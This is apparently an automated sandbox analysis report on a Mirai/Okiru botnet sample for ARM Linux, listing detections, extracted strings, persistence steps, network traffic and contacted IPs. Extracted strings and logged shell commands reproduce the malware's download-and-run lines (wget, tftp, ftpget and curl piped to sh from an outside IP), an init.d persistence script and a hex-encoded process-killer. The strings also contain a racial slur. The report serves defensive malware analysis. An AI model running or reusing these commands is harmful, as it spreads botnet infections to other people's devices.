Linux Analysis Report
arm.nn.elf

Overview

General Information

Sample name: arm.nn.elf
Analysis ID: 1579441
MD5: 130e5c96f797974026da079b108e9cba
SHA1: 63283b730f1d58e1123a89145bcc7c190df9e359
SHA256: 0423313dc3f1347b6f100cf9c8cf4c197a6a413666c49a9d3d2b9de647935caf
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 92
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Connects to many ports of the same IP (likely port scanning)
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: arm.nn.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: arm.nn.elf Virustotal: Detection: 40% Perma Link
Source: arm.nn.elf ReversingLabs: Detection: 47%
Found strings indicative of a multi-platform dropper
Source: arm.nn.elf String: getinfo xxxTSource Engine QueryNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/..%s/%stmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/ /proc-altered/tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/loginmalloc[start_pid_hopping] Failed to clone: %s
Source: arm.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 94.156.227.234 ports 38242,199,2,3,4,8
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:60008 -> 94.156.227.234:38242
Sample listens on a socket
Source: /tmp/arm.nn.elf (PID: 6223) Socket: 0.0.0.0:38242 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 168.183.96.48
Source: unknown TCP traffic detected without corresponding DNS query: 49.1.93.212
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 203.172.118.120
Source: unknown TCP traffic detected without corresponding DNS query: 209.217.106.14
Source: unknown TCP traffic detected without corresponding DNS query: 117.130.172.23
Source: unknown TCP traffic detected without corresponding DNS query: 148.30.160.209
Source: unknown TCP traffic detected without corresponding DNS query: 168.183.96.48
Source: unknown TCP traffic detected without corresponding DNS query: 49.1.93.212
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 198.59.211.123
Source: unknown TCP traffic detected without corresponding DNS query: 191.60.203.119
Source: unknown TCP traffic detected without corresponding DNS query: 203.172.118.120
Source: unknown TCP traffic detected without corresponding DNS query: 170.211.211.28
Source: unknown TCP traffic detected without corresponding DNS query: 201.15.13.78
Source: unknown TCP traffic detected without corresponding DNS query: 171.179.254.77
Source: unknown TCP traffic detected without corresponding DNS query: 201.4.150.155
Source: unknown TCP traffic detected without corresponding DNS query: 54.119.72.179
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 48.222.22.76
Source: unknown TCP traffic detected without corresponding DNS query: 214.57.40.162
Source: unknown TCP traffic detected without corresponding DNS query: 20.36.134.152
Source: unknown TCP traffic detected without corresponding DNS query: 184.73.4.33
Source: unknown TCP traffic detected without corresponding DNS query: 64.70.99.82
Source: unknown TCP traffic detected without corresponding DNS query: 23.242.125.63
Source: unknown TCP traffic detected without corresponding DNS query: 51.226.28.121
Source: unknown TCP traffic detected without corresponding DNS query: 198.60.215.92
Source: unknown TCP traffic detected without corresponding DNS query: 94.179.75.18
Source: unknown TCP traffic detected without corresponding DNS query: 20.159.104.188
Source: unknown TCP traffic detected without corresponding DNS query: 209.200.130.178
Source: unknown TCP traffic detected without corresponding DNS query: 153.113.66.237
Source: unknown TCP traffic detected without corresponding DNS query: 97.53.99.102
Source: unknown TCP traffic detected without corresponding DNS query: 209.217.106.14
Source: unknown TCP traffic detected without corresponding DNS query: 117.130.172.23
Source: unknown TCP traffic detected without corresponding DNS query: 148.30.160.209
Source: unknown TCP traffic detected without corresponding DNS query: 191.60.203.119
Source: unknown TCP traffic detected without corresponding DNS query: 198.59.211.123
Source: unknown TCP traffic detected without corresponding DNS query: 201.140.48.23
Source: unknown TCP traffic detected without corresponding DNS query: 78.143.247.50
Source: unknown TCP traffic detected without corresponding DNS query: 125.193.118.76
Source: unknown TCP traffic detected without corresponding DNS query: 189.0.230.149
Source: unknown TCP traffic detected without corresponding DNS query: 170.211.211.28
Source: unknown TCP traffic detected without corresponding DNS query: 201.15.13.78
Source: unknown TCP traffic detected without corresponding DNS query: 201.4.150.155
Source: unknown TCP traffic detected without corresponding DNS query: 171.179.254.77
Source: unknown TCP traffic detected without corresponding DNS query: 59.86.126.50
Source: unknown TCP traffic detected without corresponding DNS query: 69.215.248.127
Source: unknown TCP traffic detected without corresponding DNS query: 209.71.136.230
Source: unknown TCP traffic detected without corresponding DNS query: 72.14.246.8
Source: arm.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, arm.nn.elf.32.dr, bootcmd.12.dr, custom.service.12.dr String found in binary or memory: http://94.156.227.233/
Source: arm.nn.elf String found in binary or memory: http://94.156.227.233/curl.sh
Source: arm.nn.elf String found in binary or memory: http://94.156.227.233/lol.sh
Source: arm.nn.elf String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: getinfo xxxTSource Engine QueryNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/..%s/%stmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/ /proc-altered/tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/b
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/arm.nn.elf (PID: 6311) SIGKILL sent: pid: 788, result: successful Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6311) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6311) SIGKILL sent: pid: 1664, result: successful Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6311) SIGKILL sent: pid: 2096, result: successful Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6311) SIGKILL sent: pid: 2102, result: successful Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6311) SIGKILL sent: pid: 6262, result: successful Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6311) SIGKILL sent: pid: 6374, result: successful Jump to behavior
Source: classification engine Classification label: mal92.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/arm.nn.elf (PID: 6223) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/arm.nn.elf (PID: 6223) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 6282) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 6299) File: /etc/rc.d/S99arm.nn.elf -> /etc/init.d/arm.nn.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/arm.nn.elf (PID: 6223) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6276) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6287) File: /etc/init.d/arm.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6373/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6374/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6410/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6376/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6379/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6412/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6411/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6050/cmdline Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/1477/cmdline Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/799/cmdline Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6425/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6424/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6427/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6426/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6384/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6383/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6385/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6421/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6420/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6423/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6422/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6380/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6382/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6381/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6414/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6413/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6416/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6415/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6418/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6417/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6304) File opened: /proc/6419/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/arm.nn.elf (PID: 6245) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6270) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6277) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6283) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm.nn.elf'\n /tmp/arm.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm.nn.elf'\n killall arm.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm.nn.elf" Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6285) Shell command executed: sh -c "chmod +x /etc/init.d/arm.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6288) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn.elf (PID: 6294) Shell command executed: sh -c "ln -s /etc/init.d/arm.nn.elf /etc/rc.d/S99arm.nn.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6276) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 6287) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/arm.nn.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6293) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 6247) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/arm.nn.elf (PID: 6223) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6276) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6287) File: /etc/init.d/arm.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/arm.nn.elf (PID: 6223) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/arm.nn.elf (PID: 6223) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 6283) Writes shell script file to disk with an unusual file extension: /etc/init.d/arm.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/arm.nn.elf (PID: 6223) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 6283) File: /etc/init.d/arm.nn.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/arm.nn.elf (PID: 6223) Queries kernel information via 'uname': Jump to behavior
Source: arm.nn.elf, 6223.1.00007ffdbaa7c000.00007ffdbaa9d000.rw-.sdmp Binary or memory string: %Xx86_64/usr/bin/qemu-arm/tmp/arm.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm.nn.elf
Source: arm.nn.elf, 6223.1.000055576a60c000.000055576a75a000.rw-.sdmp Binary or memory string: !/proc/2018/exe0!/proc/670/exe1/proc/2285/exe/arm/ro10!/proc/2014/exe0!/proc/674/exe1/proc/2128/exe/arm/ro10!/proc/2009/exe0!/proc/675/exe1/usr/libexec/gvfs-goa-volume-monitor!/usr/bin/ssh-agent!/proc/676/exe1/usr/libexec/geoclue-2.0/demos0!/proc/1983/exe0!/proc/677/exe1/proc/2129/exe/arm/ro10!/usr/bin/xfce4-session!/proc/720/exe1/etc/rc.confU/arm/ro10!/proc/1900/exe0!/usr/bin1/usr/libexec/rtkit-daemonin!/usr/bin/VGAuthService1/usr/libexec/geoclue-2.0/demos/agent!/proc/1890/exe0!/proc/721/exe1/usr/lib/policykit-1-gnome0!/proc/1888/exe0!/usr/bin/vmtoolsd1/proc/2146/exe/arm/sr10!/proc/1886/exe0!/proc/759/exe!/proc/2069/exe/arm/pro
Source: arm.nn.elf, 6223.1.000055576a60c000.000055576a75a000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: arm.nn.elf, 6223.1.00007ffdbaa7c000.00007ffdbaa9d000.rw-.sdmp Binary or memory string: EgWU/tmp/qemu-open.ZGvbRM
Source: arm.nn.elf, 6223.1.000055576a60c000.000055576a75a000.rw-.sdmp Binary or memory string: 3bjWUP5bjWUP2bjWU!/etc/qemu-binfmt/arm
Source: arm.nn.elf, 6223.1.000055576a60c000.000055576a75a000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm.nn.elf, 6223.1.00007ffdbaa7c000.00007ffdbaa9d000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm.nn.elf, 6223.1.00007ffdbaa7c000.00007ffdbaa9d000.rw-.sdmp Binary or memory string: /tmp/qemu-open.ZGvbRM
Source: arm.nn.elf, 6223.1.00007ffdbaa7c000.00007ffdbaa9d000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: arm.nn.elf, type: SAMPLE
Source: Yara match File source: 6223.1.00007f5010017000.00007f5010032000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm.nn.elf, type: SAMPLE
Source: Yara match File source: 6223.1.00007f5010017000.00007f5010032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm.nn.elf PID: 6223, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: arm.nn.elf, type: SAMPLE
Source: Yara match File source: 6223.1.00007f5010017000.00007f5010032000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm.nn.elf, type: SAMPLE
Source: Yara match File source: 6223.1.00007f5010017000.00007f5010032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm.nn.elf PID: 6223, type: MEMORYSTR
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
165.102.140.222
 unknown Japan 10006 SECOMTRUSTSECOMTrustSystemsCoLtdJP false
100.234.69.248
 unknown United States
21928 T-MOBILE-AS21928US false
58.81.113.91
 unknown Japan 17506 UCOMARTERIANetworksCorporationJP false
20.159.104.188
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
210.111.155.232
 unknown Korea Republic of
10171 SKTELINK-ASSKTelinkKR false
106.147.169.156
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
125.162.167.229
 unknown Indonesia
7713 TELKOMNET-AS-APPTTelekomunikasiIndonesiaID false
166.170.70.243
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
17.121.216.183
 unknown United States
714 APPLE-ENGINEERINGUS false
196.250.61.244
 unknown South Africa
37515 iCONNECTZA false
36.172.89.245
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
206.215.151.169
 unknown United States
11139 CWC-ROC-11139DM false
168.175.47.135
 unknown United States
32501 TUCSON-UNIFIED-SCHOOL-DISTRICT-1US false
40.183.146.182
 unknown United States
4249 LILLY-ASUS false
147.162.239.214
 unknown Italy
137 ASGARRConsortiumGARREU false
160.115.0.106
 unknown South Africa
6711 HUNGARNET-SZEGEDSzegedUniversityAssociationandHU false
193.225.112.79
 unknown Hungary
1955 HBONE-ASHUNGARNETHU false
216.1.213.140
 unknown United States
2828 XO-AS15US false
118.69.50.229
 unknown Viet Nam
18403 FPT-AS-APTheCorporationforFinancingPromotingTechnolo false
26.1.82.154
 unknown United States
7922 COMCAST-7922US false
128.34.188.220
 unknown United States
22 DNIC-AS-00022US false
106.229.167.52
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
111.185.124.238
 unknown Taiwan; Republic of China (ROC)
9416 MULTIMEDIA-AS-APHoshinMultimediaCenterIncTW false
168.183.96.48
 unknown United States
10879 UHCUS false
64.15.171.163
 unknown United States
3561 CENTURYLINK-LEGACY-SAVVISUS false
170.22.36.119
 unknown United States
18540 RECOVERYPOINTSYSTEMSUS false
49.108.208.146
 unknown Japan 9605 DOCOMONTTDOCOMOINCJP false
26.1.66.176
 unknown United States
7922 COMCAST-7922US false
19.99.69.215
 unknown United States
3 MIT-GATEWAYSUS false
77.251.175.41
 unknown Netherlands
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
179.78.150.141
 unknown Brazil
26615 TIMSABR false
37.86.102.231
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
47.106.0.180
 unknown China
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
196.228.171.177
 unknown Tunisia
37492 ORANGE-TN false
122.161.195.157
 unknown India
24560 AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices false
45.70.92.236
 unknown Brazil
267616 DVNETSOLUCOESEINFORMATICALTDABR false
76.152.134.171
 unknown United States
7922 COMCAST-7922US false
78.134.79.140
 unknown Italy
35612 NGI-ASIT false
58.182.140.164
 unknown Singapore
55430 STARHUB-NGNBNStarhubLtdSG false
209.10.225.75
 unknown United States
40913 QTS-SJCUS false
209.200.130.178
 unknown United States
32787 PROLEXIC-TECHNOLOGIES-DDOS-MITIGATION-NETWORKUS false
115.156.54.47
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
190.107.198.190
 unknown Brazil
61925 MEGABYTEPROVEDORDEINTERNETLTDABR false
138.174.94.84
 unknown United States
637 DNIC-ASBLK-00616-00665US false
178.86.216.63
 unknown Saudi Arabia
25019 SAUDINETSTC-ASSA false
175.33.29.59
 unknown Australia
4804 MPX-ASMicroplexPTYLTDAU false
153.159.35.234
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
23.91.166.223
 unknown Canada
36493 295CA-TOR-ASNCA false
144.231.37.103
 unknown United States
6157 SPRINTLINK-HOSTINGUS false
11.197.35.23
 unknown United States
3356 LEVEL3US false
16.188.232.199
 unknown United States
unknown unknown false
149.238.184.54
 unknown Germany
21263 TELEDATA-ASTeleDataGmbHDE false
119.75.215.154
 unknown China
38365 BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd false
53.129.20.90
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
151.61.77.44
 unknown Italy
1267 ASN-WINDTREIUNETEU false
61.227.68.19
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
153.105.64.182
 unknown United States
195 SDSC-ASUS false
130.194.103.107
 unknown Australia
56132 MONASHUNI-AU-AS-APMonashUniversityAU false
16.96.46.120
 unknown United States
unknown unknown false
211.121.60.139
 unknown Japan 4725 ODNSoftBankMobileCorpJP false
12.102.38.154
 unknown United States
7018 ATT-INTERNET4US false
69.251.131.238
 unknown United States
7922 COMCAST-7922US false
111.72.118.50
 unknown China
